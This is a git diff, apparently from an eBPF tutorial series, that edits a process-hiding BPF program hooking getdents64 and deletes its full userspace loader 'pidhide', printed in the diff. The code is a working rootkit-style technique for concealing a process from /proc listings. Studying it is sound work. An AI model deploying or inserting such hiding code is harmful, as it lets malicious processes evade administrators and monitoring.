diff --git a/src/24-hide/pidhide.bpf.c b/src/24-hide/pidhide.bpf.c index 47f8895..c1afaae 100644 --- a/src/24-hide/pidhide.bpf.c +++ b/src/24-hide/pidhide.bpf.c @@ -3,7 +3,7 @@ #include #include #include -#include "common.h" +#include "pidhide.h" char LICENSE[] SEC("license") = "Dual BSD/GPL"; @@ -49,11 +49,15 @@ struct { // Optional Target Parent PID const volatile int target_ppid = 0; +#define MAX_PID_LENTH 16 + // These store the string represenation // of the PID to hide. This becomes the name // of the folder in /proc/ const volatile int pid_to_hide_len = 0; -const volatile char pid_to_hide[max_pid_len]; +const volatile char pid_to_hide[MAX_PID_LENTH]; + +int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx); // struct linux_dirent64 { // u64 d_ino; /* 64-bit inode number */ @@ -111,7 +115,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; - char filename[max_pid_len]; + char filename[MAX_PID_LENTH]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); @@ -140,7 +144,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); - bpf_tail_call(ctx, &map_prog_array, PROG_02); + handle_getdents_patch(ctx); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; @@ -148,10 +152,10 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking - if (bpos < total_bytes_read) { - bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); - bpf_tail_call(ctx, &map_prog_array, PROG_01); - } + // if (bpos < total_bytes_read) { + // bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); + // handle_getdents_exit(ctx); + // } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); @@ -181,7 +185,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print - char filename[max_pid_len]; + char filename[MAX_PID_LENTH]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk("[PID_HIDE] filename previous %s\n", filename); diff --git a/src/24-hide/pidhide.c b/src/24-hide/pidhide.c deleted file mode 100644 index 021d51b..0000000 --- a/src/24-hide/pidhide.c +++ /dev/null @@ -1,252 +0,0 @@ -// SPDX-License-Identifier: BSD-3-Clause -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "pidhide.skel.h" -#include "common.h" - -// These are used by a number of -// different programs to sync eBPF Tail Call -// login between user space and kernel -#define PROG_00 0 -#define PROG_01 1 -#define PROG_02 2 - -// Setup Argument stuff -static struct env -{ - int pid_to_hide; - int target_ppid; -} env; - -const char *argp_program_version = "pidhide 1.0"; -const char *argp_program_bug_address = ""; -const char argp_program_doc[] = - "PID Hider\n" - "\n" - "Uses eBPF to hide a process from usermode processes\n" - "By hooking the getdents64 syscall and unlinking the pid folder\n" - "\n" - "USAGE: ./pidhide -p 2222 [-t 1111]\n"; - -static const struct argp_option opts[] = { - {"pid-to-hide", 'p', "PID-TO-HIDE", 0, "Process ID to hide. Defaults to this program"}, - {"target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children."}, - {}, -}; -static error_t parse_arg(int key, char *arg, struct argp_state *state) -{ - switch (key) - { - case 'p': - errno = 0; - env.pid_to_hide = strtol(arg, NULL, 10); - if (errno || env.pid_to_hide <= 0) - { - fprintf(stderr, "Invalid pid: %s\n", arg); - argp_usage(state); - } - break; - case 't': - errno = 0; - env.target_ppid = strtol(arg, NULL, 10); - if (errno || env.target_ppid <= 0) - { - fprintf(stderr, "Invalid pid: %s\n", arg); - argp_usage(state); - } - break; - case ARGP_KEY_ARG: - argp_usage(state); - break; - default: - return ARGP_ERR_UNKNOWN; - } - return 0; -} -static const struct argp argp = { - .options = opts, - .parser = parse_arg, - .doc = argp_program_doc, -}; - -static volatile sig_atomic_t exiting; - -void sig_int(int signo) -{ - exiting = 1; -} - -static bool setup_sig_handler() -{ - // Add handlers for SIGINT and SIGTERM so we shutdown cleanly - __sighandler_t sighandler = signal(SIGINT, sig_int); - if (sighandler == SIG_ERR) - { - fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); - return false; - } - sighandler = signal(SIGTERM, sig_int); - if (sighandler == SIG_ERR) - { - fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); - return false; - } - return true; -} - -static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) -{ - return vfprintf(stderr, format, args); -} - -static bool setup() -{ - // Set up libbpf errors and debug info callback - libbpf_set_print(libbpf_print_fn); - - // Setup signal handler so we exit cleanly - if (!setup_sig_handler()) - { - return false; - } - - return true; -} - -static int handle_event(void *ctx, void *data, size_t data_sz) -{ - const struct event *e = data; - if (e->success) - printf("Hid PID from program %d (%s)\n", e->pid, e->comm); - else - printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm); - return 0; -} - -int main(int argc, char **argv) -{ - struct ring_buffer *rb = NULL; - struct pidhide_bpf *skel; - int err; - - // Parse command line arguments - err = argp_parse(&argp, argc, argv, 0, NULL, NULL); - if (err) - { - return err; - } - if (env.pid_to_hide == 0) - { - printf("Pid Requried, see %s --help\n", argv[0]); - exit(1); - } - - // Do common setup - if (!setup()) - { - exit(1); - } - - // Open BPF application - skel = pidhide_bpf__open(); - if (!skel) - { - fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); - return 1; - } - - // Set the Pid to hide, defaulting to our own PID - char pid_to_hide[10]; - if (env.pid_to_hide == 0) - { - env.pid_to_hide = getpid(); - } - sprintf(pid_to_hide, "%d", env.pid_to_hide); - strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); - skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; - skel->rodata->target_ppid = env.target_ppid; - - // Verify and load program - err = pidhide_bpf__load(skel); - if (err) - { - fprintf(stderr, "Failed to load and verify BPF skeleton\n"); - goto cleanup; - } - - // Setup Maps for tail calls - int index = PROG_01; - int prog_fd = bpf_program__fd(skel->progs.handle_getdents_exit); - int ret = bpf_map_update_elem( - bpf_map__fd(skel->maps.map_prog_array), - &index, - &prog_fd, - BPF_ANY); - if (ret == -1) - { - printf("Failed to add program to prog array! %s\n", strerror(errno)); - goto cleanup; - } - index = PROG_02; - prog_fd = bpf_program__fd(skel->progs.handle_getdents_patch); - ret = bpf_map_update_elem( - bpf_map__fd(skel->maps.map_prog_array), - &index, - &prog_fd, - BPF_ANY); - if (ret == -1) - { - printf("Failed to add program to prog array! %s\n", strerror(errno)); - goto cleanup; - } - - // Attach tracepoint handler - err = pidhide_bpf__attach(skel); - if (err) - { - fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); - goto cleanup; - } - - // Set up ring buffer - rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); - if (!rb) - { - err = -1; - fprintf(stderr, "Failed to create ring buffer\n"); - goto cleanup; - } - - printf("Successfully started!\n"); - printf("Hiding PID %d\n", env.pid_to_hide); - while (!exiting) - { - err = ring_buffer__poll(rb, 100 /* timeout, ms */); - /* Ctrl-C will cause -EINTR */ - if (err == -EINTR) - { - err = 0; - break; - } - if (err < 0) - { - printf("Error polling perf buffer: %d\n", err); - break; - } - } - -cleanup: - pidhide_bpf__destroy(skel); - return -err; -} diff --git a/src/24-hide/common.h b/src/24-hide/pidhide.h similarity index 100% rename from src/24-hide/common.h rename to src/24-hide/pidhide.h